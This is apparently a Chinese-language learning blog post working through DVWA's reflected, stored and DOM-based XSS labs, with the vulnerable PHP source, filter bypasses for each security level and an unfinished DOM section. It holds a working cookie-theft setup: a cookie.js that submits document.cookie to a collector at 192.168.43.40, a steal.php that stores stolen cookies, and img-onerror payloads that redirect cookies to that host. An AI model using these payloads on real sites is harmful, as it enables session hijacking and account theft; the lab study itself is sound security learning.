昨天了解了一下同源策略,说实话,就懂了个皮毛,但是还蛮重要的我觉得这个模型,但是我了解到XSS之所以可行,是因为同源策略对于一下两点没有限制:1
21、页面中的链接,重定向以及表单提交是不会受到同源策略限制的。
2、跨域资源的引入是可以的。但是js不能读写加载的内容。如嵌入到页面中的<script src="..."></script>,<img>,<link>,<iframe>等。
参考文章:https://www.freebuf.com/articles/web/157953.html
DVWA中的反射型XSS的靶场,我想通过这个例子来理解什么是跨站攻击脚本。
low
首先分析源码:1
2
3
4
5
6
7
8
9
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
可以看到这段代码中没有过滤机制,所以我们在输入框输入这么一段代码:1
<script>alert("xss")</script>
然后会弹出一个对话框,说明这里有一个XSS攻击的漏洞。我们观察页面源码,可以知道javaScript的代码在此被执行了。
获取cookie
用一台电脑演示,攻击A者的电脑假定IP地址为192.168.43.40,被攻击者B的电脑为192.168.43.40.
然后A中创建新的数据库1
2
3
4
5create database dvwacookie;
use dvwacookie;
create table low(id int not null auto_increment primary key,cookie varchar(100) not null);
create table medium(id int not null auto_increment primary key,cookie varchar(100) not null);
create table high(id int not null auto_increment primary key,cookie varchar(100) not null);
然后在A的服务器下编写cookie.js1
2
3
4document.write("<form action='http://192.168.43.40/test/steal.php' name='exploit' method='post' style='display:none'>");
document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");
document.write("</form>");
document.exploit.submit();
这里的document.write()方法:
write() 方法可向文档写入 HTML 表达式或 JavaScript 代码。
可列出多个参数(exp1,exp2,exp3,…) ,它们将按顺序被追加到文档中。
接着编写一段php代码,steal.php1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db("dvwacookie",$conn);
if(isset($_GET['data']))
{
$sql="insert into low(cookie) values('".$_GET['data']."');";
$result=mysql_query($sql,$conn);
mysql_close();
}
else if(isset($_POST['data']))
{
$sql="insert into low(cookie) values('".$_POST['data']."');";
$result=mysql_query($sql,$conn);
mysql_close();
}
else
{
$sql="select * from low";
$result=mysql_query($sql,$conn);
while($row=mysql_fetch_array($result))
{
echo "偷取的cookie:".$row[1]."</br>";
}
mysql_close();
}
然后构造payload为:1
<script src=http://192.168.43.40/test/cookie.js></script>
用src会加载远程服务器的js脚本,那么js的源就会变成加载它的域,从而可以读取该域的数据。
相当于构造链接1
http://192.168.43.40/dvwa/vulnerabilities/xss_r/?name=<script src=http://192.168.43.40/test/cookie.js></script>
然后查看数据库,就能看到用户登录后的cookie.其实我这里有一个疑惑我我们获取cookie值。
medium
查看源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
1 | 发现 在这里被过滤掉了,那还是像之前那样尝试注入,看看它的过滤机制要怎么过掉。 |
发现可以,只是大小写被过滤掉了,然后其他的和low的一样,对steal.php稍作修改,数据表改成mediun就好了.
high
源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
发现添加了对大小写绕过的判断,而且根据正则表达式过滤,提交内容只要有script顺序出现的字母都一律过滤掉,只是过滤了script标签,但是有一些javascript事件后仍然能执行javascript代码.
构造payload如下1
<img src=# onerror=alert("xss")>
发现可行
于是构造攻击用的payload1
<img src=# onerror=(location.href="http://192.168.43.40/test/steal.php?data="+document.cookie)>
然后这个payload自然不行
观察代码:(大写),发现组成了一个script,所以被过滤掉了。1
<img SrC=# onerroR=(locatIon.href="httP://192.168.43.40/test/steal.php?data="+documenT.cookie)>
所以我们使用html编码来代替。1
<img src=# onerror=(location.href="http://192.168.43.40/test/steal.php?name="+document.cookie)>
构造攻击payload1
http://192.168.43.40/dvwa/vulnerabilities/xss_r/?name=<img src=null onerror=(location.href="http://192.168.43.40/test/steal.php?data="+document.cookie)>
xss存储型
dvwa的靶场作为学习平台
low
观察源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
然后个人觉得XSS漏洞会发生的地方是用户交互处,比如留言的地方,所以查看源码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20<form method="post" name="guestform" ">
<table width="550" border="0" cellpadding="2" cellspacing="1">
<tr>
<td width="100">Name *</td>
<td><input name="txtName" type="text" size="30" maxlength="10"></td>
</tr>
<tr>
<td width="100">Message *</td>
<td><textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea></td>
</tr>
<tr>
<td width="100"> </td>
<td>
<input name="btnSign" type="submit" value="Sign Guestbook" onclick="return validateGuestbookForm(this.form);" />
<input name="btnClear" type="submit" value="Clear Guestbook" onClick="return confirmClearGuestbook();" />
</td>
</tr>
</table>
</form>
然后在Message中输入1
<script>alert(document.cookie)</script>
然后刷新后,会有提示框中显示此处的cookie,然后查看数据库,会发现在数据库中多了我们插入的数据
实际上我在这个过程中,一直都很好奇为什么插入数据库中的数据会对此产生作用?
参考文章:https://www.cnblogs.com/claireyuancy/p/6808009.html
攻击脚本被存储到了数据库或者文件里,server端(可能是别的应用或者别的页面)在读取了存储的内容后回显了,就是存储型XSS。
简单理解就是:XSS代码被提交给站点–>站点把XSS代码存储进数据库—>当该页面再次被请求时。server发送已经被植入XSS代码的数据给client—>client运行XSS代码。
然后构造真正的payload1
<script src=http://192.168.43.40/test/cookie.js></script>
由于message最大只能输入50字节的内容,所以这里我们需要修改其maxlength.
同样的我们可以在数据库中查看到其获取的cookie值
medium
源码如下:1
2
3
4
5
6
7
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
$message = htmlspecialchars( $message );
$name = str_replace( '<script>', '', $name );
与反射型相同,此处便不再重复了。
high
这个同反射型的过滤机制分析方法一致,此处便不再重复。
DOM型
DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。
DOM是一个与平台、编程语言无关的接口,它同意程序或脚本动态地訪问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有非常多对象。当中一些是用户能够操纵的,如uRI.location,refelTer等。client的脚本程序能够通过DOM动态地检查和改动页面内容。它不依赖于提交数据到server端。而从client获得DOM中的数据在本地运行,假设DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。
DOM—based XSS攻击源于DOM相关的属性和方法。被插入用于XSS攻击的脚本。一个典型的样例例如以下:
HTTP请求http://www.Xss.com/hello.html?name=test使用下面的脚本打印出登录用户test的名字,即1
2
3
4
5<SCRIPT>
var pos=docmnent.URL.indexOf("name=")+5;
document.write (document.URL.substring(pos,document.URL.length))。
//以上代码将会输出<script>alert('test')</script>
</SCRIPT>
假设这个脚本用于请求时,就导致XSS攻击的发生。1
http://www.Xss.com/hello.html?name=<script>alert('test')</script>
当用户点击这个链接,server返回包括上面脚本的HTML静态文本,用户浏览器把HTML文本解析成DOM,DOM中的document对象URL属性的值就是当前页而的URL。
在脚本被解析时,这个URL属性值的一部分被写入HTML文本,而这部分HTML文本却是JavaScript脚本,这使得成为页面终于显示的HTML文本。从而导致DOM XSS攻击发生。
然后现在构造payload
http://192.168.43.40/dvwa/vulnerabilities/xss_d/?default=English#
完了,写不下去了,发现怎么做都不对,等我学完javascript和ajax后,再来分析。